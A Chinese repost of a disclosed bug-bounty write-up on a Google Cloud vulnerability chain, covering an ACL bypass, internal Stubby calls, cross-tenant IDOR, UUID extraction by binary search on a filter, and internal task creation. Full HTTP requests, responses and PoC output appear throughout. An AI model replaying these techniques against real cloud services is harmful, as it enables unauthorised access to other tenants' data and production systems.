文章总结: 文档披露了谷歌云生产环境中的一个严重RCE漏洞CVE-2026-2031,该漏洞始于调试端点信息泄露,攻击者可通过cloudcrmipfrontend-pa.googleapis.comAPI获取内部protobuf定义和工作流队列数据。研究发现GenericStubbyTypedTask配置可能允许远程执行Stubby调用,结合泄露的凭证可升级为完全远程代码执行。漏洞被评定为P0/S0级别,建议及时修复此类调试端点暴露问题。 综合评分: 85 文章分类: 漏洞分析,WEB安全,云安全,渗透测试,红队
确切的任务名称是 GenericStubbyTypedTaskV2,甚至还有自己的图标:
尝试在 Application Integration 上配置 GenericStubbyTypedTask 返回了一个错误,揭示了必需的字段:
{
"error": {
"code": 400,
"message": "'Required input key serverSpec not present in task GenericStubbyTypedTaskImpl, task number 1.'",
"status": "INVALID_ARGUMENT"
}
}
对每个缺失的键重复尝试,揭示了 serverSpec、serviceName 和 serviceMethod 字段。相同的参数也适用于 GenericStubbyTypedTaskV2。使用 Ezequiel Pereira 的 protobuf 仓库 作为参考,以及我们在另一个发现文档中发现的泄露的 GSLB 地址,我们将任务配置为在 gslb:alkali-base 上调用 /ServerStatus.GetServices:
有趣的事实:Alkali 是谷歌的内部框架,员工可以用它来启动生产 API,只需最少的样板代码,但它们往往存在很多安全问题。
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
{"workflow": {"workflowId": "f91833bf-eacb-43ac-8490-099fef977e19", "name": "retest-test123", "taskConfigs": [{"taskName": "GenericStubbyTypedTaskV2", "taskNumber": "1", "parameters": {"response": {"key": "response", "value": {"stringValue": "$response$"}, "dataType": "STRING_VALUE"}, "serverSpec": {"key": "serverSpec", "value": {"stringValue": "gslb:alkali-base"}, "dataType": "STRING_VALUE"}, "serviceName": {"key": "serviceName", "value": {"stringValue": "ServerStatus"}, "dataType": "STRING_VALUE"}, "serviceMethod": {"key": "serviceMethod", "value": {"stringValue": "GetServices"}, "dataType": "STRING_VALUE"}}, "position": {"x": -716, "y": -445}, "label": "Stubby Internal", "incomingEdgeCount": 1, "taskType": "ASIS_TEMPLATE", "externalTaskType": "NORMAL_TASK"}], "triggerConfigs": [{"startTasks": [{"taskNumber": "1"}], "properties": {"Trigger name": "my-api-trigger-123"}, "triggerType": "API", "triggerNumber": "1", "enabledClients": ["default"], "triggerId": "api_trigger/my-api-trigger-123"}], "origin": "UI", "creatorEmail": "<REDACTED>", "createdTime": "2026-01-12T09:45:55.896951Z", "lastModifiedTime": "2026-01-12T09:45:55.896951Z", "status": "DRAFT", "snapshotNumber": "1", "tags": ["HEAD"], "lockedBy": "<REDACTED>", "lockedAtTime": "2026-01-12T09:45:55.896951Z", "lastModifierEmail": "<REDACTED>", "clientId": "default"}}
这里的一切都与 Application Integration惊人地相似——工作流结构、任务配置,甚至发布和运行的流程。注意我们工作流中的 "position": {"x": -716, "y": -445} 吗?内部 UI 很可能看起来很像 Application Integration 的可视化工作流编辑器,我们实际上是在为任务位置设置坐标:
还记得之前阻止我发布的 ACL 问题吗?shrugged 发现我们可以通过使用两个攻击者控制的谷歌账户的混淆后 Gaia ID,为 IP_EVENTBUS_WORKFLOWS 更新 ACL 来绕过它。
请求
POST /v1/integrationPlatform/auth:setAcl HTTP/2
Host: cloudcrmipfrontend-pa.clients6.google.com
Cookie: <已移除>
Authorization: <已移除>
Origin: https://console.cloud.google.com
X-Goog-Api-Key: AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE
Content-Type: application/json
Content-Length: 500
{"resourceInfo": {"resource": "IP_EVENTBUS_WORKFLOWS", "id": "retest-test123"}, "acl": {"entries": [{"scope": {"obfuscatedGaiaId": "100029910836469267942"}, "role": 105}, {"scope": {"obfuscatedGaiaId": "113728935872649341310"}, "role": 105}]}}
响应
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
{}
首先,我们使用第一个攻击者谷歌账户切换请求以发布工作流:
POST /v1/integrationPlatform/workflowdeployment:toggleRequestToPublishWorkflow HTTP/2
Host: cloudcrmipfrontend-pa.clients6.google.com
...
{"workflowId": "f91833bf-eacb-43ac-8490-099fef977e19"}
然后,最终使用第二个攻击者账户发布工作流:
POST /v1/integrationPlatform/workflowdeployment:publishWorkflow HTTP/2
Host: cloudcrmipfrontend-pa.clients6.google.com
...
{"workflowId": "f91833bf-eacb-43ac-8490-099fef977e19"}
运行一个配置了 GenericStubbyTypedTaskV2 的工作流,其中 serverSpec 设置为 gslb:alkali-base,服务和方法的参数设置为 /ServerStatus.GetServices,我们能够执行 Stubby 查询:
...
{
"protoValue": {
"@type": "type.googleapis.com/rpc.ServiceList",
"service": [
{
"name": "AlkaliBaseAccountService",
"descriptor": {
"filename": "google/internal/alkali/base/v1/alkali_base_account_service.proto",
"name": "AlkaliBaseAccountService",
"method": [
{
"name": "ListAccounts",
"argumentType": "google.internal.alkali.base.v1.ListAccountsRequest",
"resultType": "google.internal.alkali.base.v1.ListAccountsResponse",
"deadline": 30,
"securityLevel": "none"
},
{
"name": "ListAccessibleAccounts",
"argumentType": "google.internal.alkali.base.v1.ListAccessibleAccountsRequest",
"resultType": "google.internal.alkali.base.v1.ListAccountsResponse",
"deadline": 30,
"securityLevel": "none"
},
...
然后,我们更新了初始漏洞报告,增加了升级到 RCE 的信息。我们俩单凭一己之力都无法完成这件事,而且时机非常关键:就在我们提交概念验证的一个小时后,针对 createDraftWorkflow 的修复就完全传播了。再晚一点,这个 RCE 升级就只会停留在理论层面了。也就是说,在我们真正能在谷歌服务器上执行代码之前,我们就被谷歌切断了访问。
时间线(第一次 RCE)
- 2025-12-01 – 向谷歌发送初始报告
- 2025-12-01 – 谷歌将报告分类为 P0/S0
- 2025-12-01 – 🎉 Nice catch!
- 2026-01-12 – 通知谷歌安全团队关于 RCE 升级
- 2026-01-12 – 用 RCE 概念验证 (PoC) 更新报告
- 2026-01-12 – 报告被谷歌升级
- 2026-01-16 – 评审小组奖励 60,000 美元。奖励理由:这份报告质量极高!漏洞类别为“危害谷歌云生产环境”。漏洞无需攻击者与受害者之间有任何交互或关系。影响默认的谷歌云产品。
第二回合(三个月后)
你以为故事结束了?没那么简单。三个月后,我的模糊测试工具提醒我,在公开的 Application Integration 产品的 公共 API 中发现了一些 IDOR(不安全的直接对象引用)漏洞。
原来,在整个 API 中,你可以在 URL 中引用自己的项目 ID,但同时引用别人的 UUID:
GET /v1/projects/<你的项目>/locations/us-central1/integrations/anythinghere/versions/<受害者-uuid> HTTP/2
Host: integrations.googleapis.com
Authorization: Bearer <已移除>
API 会愉快地返回受害者的资源,因为身份验证检查是针对你的项目 ID 进行的(你对自己的项目有授权),但并没有访问控制检查来确认该 ID 是否真的与你的项目相关联。
然而,仅凭这一点影响不大,因为这些是 UUIDv4。搜索空间太大,无法通过暴力破解实现有效利用(搜索空间为 10^36)。因此,我开始寻找任何可能泄露受害者资源 UUID 的方法。
就在这时,我注意到了这个有趣的“测试用例 (test cases)”功能。根据文档说明:
使用 Application Integration,您可以在连接和管理 Google Cloud 服务及其他业务应用程序的复杂集成上创建和运行多个测试用例。通过测试您的集成流程,可以确保您的集成按预期工作。
有趣的是,当你在前端查看测试用例如何加载时,浏览器会发送类似这样的请求:
POST /$rpc/google.cloud.integrations.v1alpha.TestCases/ListTestCases HTTP/2
Host: us-central1-integrations.clients6.google.com
Content-Type: application/x-protobuf
< 原始 Protocol Buffers (protobuf) 数据 >
实际的请求负载是 protobuf 格式的,我在这里进行了解码,以便您能看到它的样子:
{
"1": "projects/eastern-camp-489414-j3/locations/us-central1/integrations/RestTaskTest/versions/631a0566-02fc-4dce-b319-25e2c68168f4",
"2": "workflow_id = 631a0566-02fc-4dce-b319-25e2c68168f4",
"6": {
"1": ["name", "display_name", "update_time", "client_id"]
}
}
字段 1 是父资源(我的项目,我的版本 UUID),字段 6 是响应字段掩码,字段 2 (workflow_id = 631a0566-02fc-4dce-b319-25e2c68168f4) 似乎是某种过滤器。也许如果省略这个字段,它会返回所有工作流的测试用例?肯定不是吧……
从请求中删除字段 2 和 6:
{
"1": "projects/eastern-camp-489414-j3/locations/us-central1/integrations/RestTaskTest/versions/631a0566-02fc-4dce-b319-25e2c68168f4"
}
……响应返回了来自所有其他 GCP 项目的测试用例:
{
"testCases": [
{
"name": "projects/331540621401/locations/us-central1/integrations/my-draft-integration/versions/631a0566-02fc-4dce-b319-25e2c68168f4/testCases/b25fb963-792c-419d-a98b-eb930b2a29e3",
"displayName": "test",
"triggerId": "api_trigger/AI_bebbia_CreateWOSubs_API_1",
"testInputParameters": [
{
"key": "InputData",
"dataType": "JSON_VALUE",
"defaultValue": {
"jsonValue": "{\n \"OldSKU\": \"300465\",\n \"orderid\": \"7fe9ffa9-d122-484b-96df-9ef85cd3aa8a\",\n ...\n}"
},
"displayName": "InputData"
}
],
"creatorEmail": "[email protected]",
...
}
]
}
不过仔细看这个响应,你可能会注意到一些不对劲的地方。每个结果中的 versions/... 段都是 631a0566-02fc-4dce-b319-25e2c68168f4。那是我的版本 UUID,即我在字段 1 中发送的那个。API 只是将其原封不动地反映到每个测试用例的 name 字段中,即使这些测试用例属于不同项目中完全不同的集成。
因此,虽然我现在拥有了所有 GCP 项目中每个测试用例的 ID,以及它们的集成名称和创建者邮箱,但我之前需要输入的、用于填充那些 IDOR 漏洞的真实受害者版本 UUID在响应中根本找不到。
话虽如此,仅凭测试用例 ID 本身就已经可以造成一些真实的影响了。Application Integration 暴露了一个 :executeTest 端点,它根据 ID 运行测试用例,并且实际上不需要受害者的真实版本 UUID。
请求
POST /v1/projects/<你的项目>/locations/us-central1/integrations/x/versions/-/testCases/035c64d6-ea04-436d-8674-862f51191953:executeTest HTTP/2
Host: integrations.googleapis.com
Authorization: Bearer <已移除>
Content-Length: 0
响应
{
"executionId": "5d49abed-7692-47aa-8660-5cdaea92d2af",
"outputParameters": {
"output": 3
},
"assertionResults": [
{
"assertion": {
"assertionStrategy": "ASSERT_EQUALS",
"parameter": {
"key": "output",
"value": { "intValue": "3" }
}
},
"taskNumber": "1",
"taskName": "JsonnetMapperTask",
"status": "SUCCEEDED"
}
],
"testExecutionState": "PASSED"
}
所以我已经可以触发任意测试用例在任意受害者的环境中执行,但真正的目标仍然是能通过之前的 IDOR 访问受害者的整个集成,为此我需要实际版本 UUID。
我在这里卡住了一会儿。直到我有了一个想法。filter 参数(字段 2)显然支持像 = 这样的比较操作符。如果它也支持 > 和 <= 呢?如果支持,我就可以锚定一个已知的测试用例 ID,然后对 workflow_id 字段进行二分查找,一次一个十六进制字符,直到重建出完整的 UUID:
id = "<已知测试用例-uuid>" AND workflow_id > "<低值>" AND workflow_id <= "<高值>"
每个请求都缩小了范围。如果测试用例仍然出现在响应中,则真实的 workflow_id 在 (低值, 高值] 区间内,否则就在区间外。理论上,一个 32 字符的十六进制 UUID 应该在大约128个请求后出现。
我让 Claude 写了一个 PoC,它一次就完美运行了:
$ python extract_by_id.py --token "<已移除>" --project 273897706296 --location "us-central1" --tc-id "60413427-4d07-4c36-bce0-66cfcdd81879"
Test case: 60413427-4d07-4c36-bce0-66cfcdd81879
Parent: projects/273897706296/locations/us-central1/integrations/x/versions/-
Verified: target found. Starting binary search...
[ 4/32] fb1d0000-0000-0000-0000-000000000000 (16 reqs)
[ 8/32] fb1dc5f3-0000-0000-0000-000000000000 (32 reqs)
[12/32] fb1dc5f3-0380-0000-0000-000000000000 (48 reqs)
[16/32] fb1dc5f3-0380-491c-0000-000000000000 (64 reqs)
[20/32] fb1dc5f3-0380-491c-af90-000000000000 (80 reqs)
[24/32] fb1dc5f3-0380-491c-af90-5a1400000000 (96 reqs)
[28/32] fb1dc5f3-0380-491c-af90-5a141aa00000 (112 reqs)
[32/32] fb1dc5f3-0380-491c-af90-5a141aa02f56 (128 reqs)
workflow_id: fb1dc5f3-0380-491c-af90-5a141aa02f56
Total requests: 128
我现在有了受害者的实际集成版本 UUID。将其与 GetIntegrationVersion IDOR 结合起来:
GET /v1/projects/<你的项目>/locations/us-central1/integrations/x/versions/fb1dc5f3-0380-491c-af90-5a141aa02f56 HTTP/2
Host: integrations.googleapis.com
Authorization: Bearer <已移除>
它返回了属于另一个项目的完整集成,包括每个触发器配置、任务配置、参数绑定和创建者邮箱:
{
"name": "projects/<你的项目>/locations/us-central1/integrations/TestCasePOC5/versions/fb1dc5f3-0380-491c-af90-5a141aa02f56",
"state": "DRAFT",
"triggerConfigs": [
{
"label": "API Trigger",
"triggerType": "API",
"triggerId": "api_trigger/TestCasePOC5_API_1"
}
],
"taskConfigs": [
{
"task": "GenericRestV2Task",
"displayName": "Call REST Endpoint",
"parameters": {
"url": { "key": "url", "value": { "stringValue": "$url$" } },
"httpMethod": { "key": "httpMethod", "value": { "stringValue": "POST" } },
"authConfigName": { "key": "authConfigName", "value": { "stringValue": "authprofiletest" } }
}
}
],
...
"integrationParameters": [
{ "key": "url", "dataType": "STRING_VALUE", "defaultValue": { "stringValue": "https://example.com" } }
],
"lastModifierEmail": "[email protected]",
"createTime": "2026-03-22T11:10:30.087Z"
}
如果你还记得最初的测试用例泄露,相当一部分那些 creatorEmail 字段以 @google.com 结尾。这意味着有很多谷歌内部团队在这个平台上运行他们自己的集成。我立刻想到:如果这些谷歌员工的集成中,有些已经配置了 GenericStubbyTypedTaskV2(或其他仅限内部的任务,如 PythonTask、CreateBuganizerIssueTask 等)呢?其中任何一个都可能将这个跨租户链升级到严重得多的问题。
但我实际上无法检查。这样做意味着遍历真实的客户数据,这会违反谷歌 VRP 规则,所以我把我已有的所有信息打包,发送给了 Cloud VRP。
配置内部任务类型
这让我思考,到底是什么阻止了我创建自己的包含内部任务类型的集成?
如果我尝试创建一个内部任务:
POST /v1/projects/273897706296/locations/us-central1/integrations/ExampleTest1234/versions HTTP/2
Host: integrations.googleapis.com
Authorization: Bearer <已移除>
Content-Length: 1033
{
"taskConfigsInternal": [
{
"taskNumber": "1",
"taskName": "PythonTask",
...
"taskEntity": {
"uiConfig": {
"taskUiModuleConfigs": [
{
"moduleId": "RPC_TYPED"
}
]
}
},
"taskType": "ASIS_TEMPLATE",
"parameters": {
"TEST": {
"key": "test",
"value": {
"stringValue": "test"
}
}
}
}
],
...
}
它实际上会成功:
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
{
"name": "projects/273897706296/locations/us-central1/integrations/ExampleTest1234/versions/304adc1b-6d09-4b2d-a070-db48b821879a",
"origin": "UI",
"snapshotNumber": "1",
"updateTime": "2026-05-01T07:30:07.182512Z",
"lockHolder": "[email protected]",
"createTime": "2026-05-01T07:30:07.182512Z",
"lastModifierEmail": "[email protected]",
"state": "DRAFT",
...
}
但当我尝试实际执行工作流时,它只会超时并显示以下错误:
Execution timeout, cancelled graph execution. The default timeout is 2min for sync execution and 10min for async execution. If you are using sync execution, please try async execution such as the Schedule API or Cloud Scheduler trigger. If you are already using async execution, please try to break down your integration into smaller pieces and chain them in the async way. Note any variable contains large data will also failed to upload to GCS. error/code: 'common_error_code: SYNC_EVENTBUS_EXECUTION_TIMEOUT''
但是,我注意到了一些奇怪的现象。当我配置 PythonTask(内部任务之一),创建一个测试用例并执行该测试用例时,没有超时,而是在前端得到了这个可疑的错误:
{
"1": 9,
"2": "java.io.IOException: No space left on device"
}
这是一个来自执行后台的真实异常,不是超时。无论测试用例功能运行的代码路径是什么,它都愉快地深入到足以在实际磁盘 I/O 上失败。对 GenericStubbyTypedTaskV2 尝试相同技巧时,我得到了一个信息量较少但同样可疑的响应:
Failed to execute test case. Error: Unknown Error.
我检查了工作流执行日志,这时显示了真正的错误:
{ "message": "com.google.security.authentication.common.CredentialsUnsupportedException: UberMint verification is disabled. You can enable it in AuthenticationMethods; RpcSecurityPolicy http://rpcsp/p/4aPF9XD3vQ_2KYxu2J59zxrLEzDa2CDMRzIYnrADC4w ", "code": 500 }
这非常可疑。我肯定发现了什么。通过访问:
GET /v1/projects/<项目>/locations/us-west1/integrations/ExampleTest1234:1/executions/id:download
Host: integrations.googleapis.com
可以拉取整个堆栈跟踪:
com.google.enterprise.crm.exceptions.IpCanonicalCodeException: com.google.enterprise.crm.eventbus.testcase.task.mock.MockExecutionFailureException: com.google.net.rpc3.client.RpcClientException: <eye3 title='/EventbusStubbyCallerService.ExecuteStubbyCall, UNAUTHENTICATED'/> APPLICATION_ERROR;enterprise.crm.eventbus.stubby/EventbusStubbyCallerService.ExecuteStubbyCall;com.google.security.authentication.common.CredentialsUnsupportedException: UberMint verification is disabled. You can enable it in AuthenticationMethods; RpcSecurityPolicy http://rpcsp/p/4aPF9XD3vQ_2KYxu2J59zxrLEzDa2CDMRzIYnrADC4w ;AppErrorCode=16;StartTimeMs=1774319566778;unknown;ResFormat=uncompressed;ServerTimeSec=0.00194812;LogBytes=256;FailFast;EffSecLevel=none;ReqFormat=uncompressed;ReqID=bea3d76b582d8a4;GlobalID=0;Server=[2002:a05:6670:4003:b0:ced:80ad:4c54]:4001 Code: FAILED_PRECONDITION
at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.serialize(EventParametersUtil.java:744)
at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.serialize(EventParametersUtil.java:725)
at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.toParameterValueType(EventParametersUtil.java:654)
at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.lambda$addEventParametersToEventMessage$0(EventParametersUtil.java:475)
at /[email protected]/java.util.stream.ReferencePipeline$3$1.accept(Unknown Source)
...
这表明我们的变量被直接插入到后台的 ExecuteStubbyCallRequest 中。根据对参数值进行实验得到的堆栈跟踪,我猜测后台代码大致如下:
GenericStubbyTypedTaskV2.buildRequest():
line 219: setServerAddress(serverSpec) → ExecuteStubbyCallRequest.java:1123
line 220: setServiceName(serviceName) → ExecuteStubbyCallRequest.java:1219
line 221: setMethodName(serviceMethod) → ExecuteStubbyCallRequest.java:1313
...
那么,也许需要我提供某个参数才能让它工作?问题是,堆栈跟踪只帮我泄露了三个已知参数 serverSpec、serviceName 和 serviceMethod,但我无法从这个方法中找到更多。此外,谷歌将这些 RCE 升级视为安全事件,所以在进一步行动之前,我询问了谷歌安全团队是否允许继续。他们很快就回复了我,确认这是可利用的,并让我停止进一步的测试。
报告很快被升级为 P0/S0 并获得了🎉Nice catch!。大约一个月后,报告根据“危害谷歌云生产环境”类别被奖励 75,000 美元,这是我迄今为止获得的最高单笔赏金。
根据我与一些谷歌员工的交流,我了解到在 Cloud VRP 表格 下,基本的 RCE 奖励大致分为三个等级:
- $50k:相对无特权的生产用户访问权限
- $75k:有特权的生产用户访问权限
- $100k:谷歌云管理员权限
一个给定的 RCE 实际属于哪个等级,完全取决于被入侵的生产身份能直接访问多少生产环境。显然,考虑到通过生产访问可接触到的广阔攻击面,很可能可以从任何类型的初始访问进行权限升级。
谷歌在这里的推理出奇地含糊,但似乎内部团队自己对这条链条的调查发现了比我所展示的更严重的生产环境影响,这使其定位在 75,000 美元这个等级。
时间线(第二次 RCE)
- 2026-03-21 – 向谷歌发送初始报告
- 2026-03-23 – 谷歌将报告分类为 P1/S1
- 2026-03-23 – 通知谷歌安全团队关于 RCE 升级
- 2026-03-23 – 🎉 Nice catch!,报告更新为 P0/S0
- 2026-04-28 – 评审小组奖励 75,000 美元。奖励理由:漏洞类别为“危害谷歌云生产环境”。漏洞无需攻击者与受害者之间有任何交互或关系。影响默认的谷歌云产品。
- 2026-05-06 – 通知谷歌 GetIntegrationVersion RPC 仍然易受攻击
- 2026-05-08 – 评审小组额外奖励 13,337 美元。奖励理由:漏洞类别为“单一服务权限升级 – 写入 (WRITE)”。漏洞无需攻击者与受害者之间有任何交互或关系。影响默认的谷歌云产品。
原文:https://brutecat.com/articles/google-cloud-rce/
- END –
感谢阅读,如果觉得还不错的话,动动手指给个三连吧~
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:骨哥说事 骨哥说事 骨哥说事《StubZero:谷歌云生产环境中的RCE漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论